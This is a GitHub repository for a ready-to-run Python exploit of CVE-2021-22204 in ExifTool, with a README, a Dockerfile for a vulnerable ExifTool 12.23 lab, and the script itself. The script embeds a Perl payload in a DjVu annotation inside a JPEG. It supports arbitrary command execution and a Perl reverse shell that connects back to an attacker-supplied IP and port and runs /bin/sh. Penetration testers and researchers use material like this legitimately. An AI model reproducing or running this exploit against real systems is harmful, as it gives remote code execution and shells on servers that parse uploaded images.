├── .github └── FUNDING.yml ├── .gitignore ├── Dockerfile ├── README.md └── exploit-CVE-2021-22204.py /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: [NicPWNs] # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] 4 | patreon: # Replace with a single Patreon username 5 | open_collective: # Replace with a single Open Collective username 6 | ko_fi: # Replace with a single Ko-fi username 7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel 8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry 9 | liberapay: # Replace with a single Liberapay username 10 | issuehunt: # Replace with a single IssueHunt username 11 | lfx_crowdfunding: # Replace with a single LFX Crowdfunding project-name e.g., cloud-foundry 12 | polar: # Replace with a single Polar username 13 | buy_me_a_coffee: # Replace with a single Buy Me a Coffee username 14 | thanks_dev: # Replace with a single thanks.dev username 15 | custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] 16 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Git Ignore These Files 2 | payload 3 | *.bzz 4 | *.djvu 5 | *.config 6 | *.jpg 7 | *.jpg_exiftool_tmp -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu 2 | 3 | LABEL maintainer="unicord@unicord.dev" 4 | 5 | WORKDIR /opt/exploit-CVE-2021-22204 6 | 7 | RUN apt update 8 | RUN apt install -y djvulibre-bin perl zip wget make python3 file 9 | RUN wget https://github.com/exiftool/exiftool/archive/refs/tags/12.23.zip 10 | RUN unzip 12.23.zip 11 | WORKDIR /opt/exploit-CVE-2021-22204/exiftool-12.23 12 | RUN perl Makefile.PL 13 | RUN make test 14 | RUN make install 15 | RUN rm 12.23.zip 16 | RUN rm -rf exiftool-12.23 17 | WORKDIR /opt/exploit-CVE-2021-22204 18 | 19 | COPY . . 20 | 21 | ENTRYPOINT ["/bin/bash"] -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Exploit for CVE-2021-22204 (ExifTool) - Arbitrary Code Execution 2 | 3 | ![GitHub CVE Cover](https://user-images.githubusercontent.com/23003787/172497711-958a0fb3-3937-41f7-be11-3c9fd767203d.png) 4 | 5 | **Like this repo? Give us a ⭐!** 6 | 7 | *For educational and authorized security research purposes only.* 8 | 9 | ## Exploit Author 10 | [@UNICORDev](https://unicord.dev) by ([@NicPWNs](https://github.com/NicPWNs) and [@Dev-Yeoj](https://github.com/Dev-Yeoj)) 11 | 12 | ## Vulnerability Description 13 | Improper neutralization of user data in the DjVu file format in ExifTool versions 7.44 and up allows arbitrary code execution when parsing the malicious image. 14 | 15 | ## Exploit Description 16 | Use this exploit to generate a JPEG image payload that can be used with a vulnerable ExifTool version for code execution. A custom command can be provided or a reverse shell can be generated. A JPEG image is automatically generated, and optionally, a custom JPEG image can be supplied to have the payload inserted. 17 | 18 | ## Usage 19 | ```bash 20 | python3 exploit-CVE-2021-22204.py -c 21 | python3 exploit-CVE-2021-22204.py -s 22 | python3 exploit-CVE-2021-22204.py -c [-i ] 23 | python3 exploit-CVE-2021-22204.py -s [-i ] 24 | python3 exploit-CVE-2021-22204.py -h 25 | ``` 26 | 27 | ## Options 28 | ```bash 29 | -c Custom command mode. Provide command to execute. 30 | -s Reverse shell mode. Provide local IP and port. 31 | -i Path to custom JPEG image. (Optional) 32 | -h Show this help menu. 33 | ``` 34 | 35 | ## Download 36 | [Download exploit-CVE-2021-22204.py from GitHub](https://raw.githubusercontent.com/UNICORDev/exploit-CVE-2021-22204/main/exploit-CVE-2021-22204.py) 37 | 38 | [Download exploit-CVE-2021-22204.py from ExploitDB](https://www.exploit-db.com/exploits/50911) 39 | 40 | ### Searchsploit (ExploitDB) 41 | ```bash 42 | searchsploit -u 43 | searchsploit -m 50911 44 | ``` 45 | 46 | ## Exploit Requirements 47 | - python3 48 | - djvulibre-bin 49 | - exiftool 50 | 51 | ## Demo 52 | ![Demo Gif](https://user-images.githubusercontent.com/23003787/168875285-b939e4a6-ea10-4b0d-a11a-3a2c1adc0fd7.gif) 53 | 54 | ## Tested On 55 | Exiftool Version 12.23 56 | 57 | ## Applies To 58 | Exiftool Versions 7.44 - 12.23 59 | 60 | ## Vulnerable Environment 61 | ```bash 62 | wget https://github.com/exiftool/exiftool/archive/refs/tags/12.23.zip 63 | unzip exiftool-12.23.zip 64 | cd exiftool-12.23 65 | perl Makefile.PL 66 | make test 67 | sudo make install 68 | exiftool -ver 69 | ``` 70 | 71 | ## Test Generated Payload 72 | ```bash 73 | exiftool image.jpg 74 | ``` 75 | 76 | ## Credits 77 | - https://hackerone.com/reports/1154542 78 | - https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204-exiftool-rce/ 79 | - https://nvd.nist.gov/vuln/detail/CVE-2021-22204 80 | - https://app.hackthebox.com/machines/Overflow 81 | - https://www.exploit-db.com/exploits/50911 82 | -------------------------------------------------------------------------------- /exploit-CVE-2021-22204.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Exploit Title: ExifTool 7.44-12.23 - Arbitrary Code Execution 3 | # Date: 04/30/2022 4 | # Exploit Author: UNICORD (NicPWNs & Dev-Yeoj) 5 | # Vendor Homepage: https://exiftool.org/ 6 | # Software Link: https://github.com/exiftool/exiftool/archive/refs/tags/12.23.zip 7 | # Version: 7.44-12.23 8 | # Tested on: ExifTool 12.23 (Debian) 9 | # CVE: CVE-2021-22204 10 | # Source: https://github.com/UNICORDev/exploit-CVE-2021-22204 11 | # Description: Improper neutralization of user data in the DjVu file format in ExifTool versions 7.44 and up allows arbitrary code execution when parsing the malicious image 12 | 13 | # Imports 14 | import base64 15 | import os 16 | import subprocess 17 | import sys 18 | import time 19 | 20 | # Class for colors 21 | class color: 22 | red = '\033[91m' 23 | gold = '\033[93m' 24 | blue = '\033[36m' 25 | green = '\033[92m' 26 | no = '\033[0m' 27 | 28 | # Print UNICORD ASCII Art 29 | def UNICORD_ASCII(): 30 | print(rf""" 31 | {color.red} _ __,~~~{color.gold}/{color.red}_{color.no} {color.blue}__ ___ _______________ ___ ___{color.no} 32 | {color.red} ,~~`( )_( )-\| {color.blue}/ / / / |/ / _/ ___/ __ \/ _ \/ _ \{color.no} 33 | {color.red} |/| `--. {color.blue}/ /_/ / // // /__/ /_/ / , _/ // /{color.no} 34 | {color.green}_V__v___{color.red}!{color.green}_{color.red}!{color.green}__{color.red}!{color.green}_____V____{color.blue}\____/_/|_/___/\___/\____/_/|_/____/{color.green}....{color.no} 35 | """) 36 | 37 | # Print exploit help menu 38 | def help(): 39 | print(r"""UNICORD Exploit for CVE-2021-22204 (ExifTool) - Arbitrary Code Execution 40 | 41 | Usage: 42 | python3 exploit-CVE-2021-22204.py -c 43 | python3 exploit-CVE-2021-22204.py -s 44 | python3 exploit-CVE-2021-22204.py -c [-i ] 45 | python3 exploit-CVE-2021-22204.py -s [-i ] 46 | python3 exploit-CVE-2021-22204.py -h 47 | 48 | Options: 49 | -c Custom command mode. Provide command to execute. 50 | -s Reverse shell mode. Provide local IP and port. 51 | -i Path to custom JPEG image. (Optional) 52 | -h Show this help menu. 53 | """) 54 | 55 | def loading(spins): 56 | 57 | def spinning_cursor(): 58 | while True: 59 | for cursor in '|/-\\': 60 | yield cursor 61 | 62 | spinner = spinning_cursor() 63 | for _ in range(spins): 64 | sys.stdout.write(next(spinner)) 65 | sys.stdout.flush() 66 | time.sleep(0.1) 67 | sys.stdout.write('\b') 68 | 69 | # Check for dependencies 70 | def dependencies(): 71 | 72 | deps = {'bzz':"sudo apt install djvulibre-bin",'djvumake':"sudo apt install djvulibre-bin",'exiftool':"sudo apt install exiftool"} 73 | missingDep = False 74 | 75 | for dep in deps: 76 | if subprocess.call(['which',dep],stdout=subprocess.DEVNULL,stderr=subprocess.STDOUT) == 1: 77 | print(f"{color.blue}ERRORED: {color.red}Missing dependency \"{dep}\". Try: \"{deps[dep]}\"{color.no}") 78 | missingDep = True 79 | 80 | if missingDep is True: 81 | exit() 82 | 83 | # Run the exploit 84 | def exploit(command): 85 | 86 | UNICORD_ASCII() 87 | 88 | # Create perl payload 89 | payload = "(metadata \"\c${" 90 | payload += command 91 | payload += "};\")" 92 | 93 | print(f"{color.blue}UNICORD: {color.red}Exploit for CVE-2021-22204 (ExifTool) - Arbitrary Code Execution{color.no}") 94 | print(f"{color.blue}PAYLOAD: {color.gold}" + payload + f"{color.no}") 95 | loading(15) 96 | 97 | # Check for dependencies 98 | dependencies() 99 | 100 | print(f"{color.blue}DEPENDS: {color.gold}Dependencies for exploit are met!{color.no}") 101 | 102 | loading(15) 103 | 104 | # Write payload to file 105 | payloadFile = open('payload','w') 106 | payloadFile.write(payload) 107 | payloadFile.close() 108 | 109 | print(f"{color.blue}PREPARE: {color.gold}Payload written to file!{color.no}") 110 | 111 | # Bzz compress file 112 | subprocess.run(['bzz', 'payload', 'payload.bzz']) 113 | 114 | print(f"{color.blue}PREPARE: {color.gold}Payload file compressed!{color.no}") 115 | 116 | # Run djvumake 117 | subprocess.run(['djvumake', 'exploit.djvu', "INFO=1,1", 'BGjp=/dev/null', 'ANTz=payload.bzz']) 118 | 119 | print(f"{color.blue}PREPARE: {color.gold}DjVu file created!{color.no}") 120 | 121 | # Process custom image file 122 | if '-i' in sys.argv: 123 | imagePath = sys.argv[sys.argv.index('-i') + 1] 124 | subprocess.run(['cp',f'{imagePath}','./image.jpg','-n']) 125 | 126 | else: 127 | # Smallest possible JPEG 128 | image = b"/9j/4AAQSkZJRgABAQEASABIAAD/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/yQALCAABAAEBAREA/8wABgAQEAX/2gAIAQEAAD8A0s8g/9k=" 129 | 130 | # Write smallest possible JPEG image to file 131 | with open("image.jpg", "wb") as img: 132 | img.write(base64.decodebytes(image)) 133 | 134 | print(f"{color.blue}PREPARE: {color.gold}JPEG image created/processed!{color.no}") 135 | 136 | # Write exiftool config to file 137 | config = (r""" 138 | %Image::ExifTool::UserDefined = ( 139 | 'Image::ExifTool::Exif::Main' => { 140 | 0xc51b => { 141 | Name => 'HasselbladExif', 142 | Writable => 'string', 143 | WriteGroup => 'IFD0', 144 | }, 145 | }, 146 | ); 147 | 1; #end 148 | """) 149 | configFile = open('exiftool.config','w') 150 | configFile.write(config) 151 | configFile.close() 152 | 153 | print(f"{color.blue}PREPARE: {color.gold}Exiftool config written to file!{color.no}") 154 | 155 | loading(15) 156 | 157 | # Exiftool config for output image 158 | subprocess.run(['exiftool','-config','exiftool.config','-HasselbladExif<=exploit.djvu','image.jpg','-overwrite_original_in_place','-q']) 159 | 160 | print(f"{color.blue}EXPLOIT: {color.gold}Payload injected into image!{color.no}") 161 | 162 | # Delete leftover files 163 | os.remove("payload") 164 | os.remove("payload.bzz") 165 | os.remove("exploit.djvu") 166 | os.remove("exiftool.config") 167 | if os.path.exists("image.jpg_exiftool_tmp"): 168 | os.remove("image.jpg_exiftool_tmp") 169 | 170 | print(f"{color.blue}CLEANUP: {color.gold}Old file artifacts deleted!{color.no}") 171 | 172 | loading(15) 173 | 174 | # Print results 175 | print(f"{color.blue}SUCCESS: {color.green}Exploit image written to \"{color.gold}image.jpg{color.green}\"{color.no}\n") 176 | 177 | exit() 178 | 179 | if __name__ == "__main__": 180 | 181 | args = ['-h','-c','-s','-i'] 182 | 183 | if args[0] in sys.argv: 184 | help() 185 | 186 | elif args[1] in sys.argv and not args[2] in sys.argv: 187 | exec = sys.argv[sys.argv.index(args[1]) + 1] 188 | command = f"system(\'{exec}\')" 189 | exploit(command) 190 | 191 | elif args[2] in sys.argv and not args[1] in sys.argv: 192 | localIP = sys.argv[sys.argv.index(args[2]) + 1] 193 | localPort = sys.argv[sys.argv.index(args[2]) + 2] 194 | command = f"use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in({localPort},inet_aton('{localIP}')))){{open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');}};" 195 | exploit(command) 196 | 197 | else: 198 | help() 199 | --------------------------------------------------------------------------------